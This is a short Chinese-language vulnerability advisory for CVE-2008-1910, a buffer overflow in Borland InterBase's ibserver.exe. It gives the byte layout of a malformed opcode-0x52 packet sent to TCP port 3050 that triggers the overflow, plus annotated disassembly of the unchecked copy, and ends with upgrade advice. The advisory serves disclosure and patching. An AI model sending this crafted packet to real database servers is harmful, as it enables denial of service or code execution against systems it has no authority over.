CVE:CVE-2008-1910
CNNVD:CNNVD-200804-329
Borland InterBase是跨平台的高性能商业数据库。
Borland InterBase数据库的ibserver.exe服务中存在缓冲区溢出漏洞，成功利用这个漏洞的攻击者可以导致拒绝服务或在有漏洞的数据库中执行任意指令。
有漏洞的opcode为0x52，如果向TCP 3050端口发送畸形如下畸形报文的话：
| 4bytes Opcode  |                  "\x00\x00\x00\x52\"
| 4bytes Unknow  |                  "\xFF\xFF\xFF\xFF"
| 4bytes Length1 |                  "\x00\x00\x03\xE8"
| Data1          |                  "\x41"x1000
| 4bytes Length2 |                  "\x00\x00\x00\x10"
| Data2          |                  "\x42"x16
就会触发这个溢出，以如下方式覆盖返回地址：
.text:0041460F                 mov     ecx, [ebp+arg_4]
.text:00414612                 xor     edx, edx
.text:00414614                 mov     dx, [ecx]
.text:00414617                 push    edx
.text:00414618                 mov     eax, [ebp+arg_4]
.text:0041461B                 mov     ecx, [eax+4]
.text:0041461E                 push    ecx                          // | Data1 |   \
                "\x41"x1000
.text:0041461F                 mov     edx, [ebp+arg_0]
.text:00414622                 push    edx
.text:00414623                 mov     eax, [ebp+arg_0]
.text:00414626                 mov     ecx, [eax+4]
.text:00414629                 call    dword ptr [ecx+8]            //call function \
411136 (strcpy)
.text:00411136                 push    ebp
.text:00411137                 mov     ebp, esp
.text:00411139                 push    ecx
.text:0041113A                 push    esi
.text:0041113B                 push    edi
......
.text:00411157                 mov     ecx, [ebp+loop_count]
.text:0041115A                 mov     eax, [ebp+recv_info_struct]
.text:0041115D                 mov     esi, [eax+0Ch]
.text:00411160                 mov     edi, [ebp+arg_4]
.text:00411163                 mov     edx, ecx
.text:00411165                 shr     ecx, 2
.text:00411168                 rep movsd                     
                                   //copy data 1000 bytes 0x41,without boundary check
                                   //Buffer overflow take place
.text:0041116A                 mov     ecx, edx
.text:0041116C                 and     ecx, 3
.text:0041116F                 rep movsb
solution:Upgrade borland interbase to a higher version than 2007:sp2,and avoid the version 2007:sp2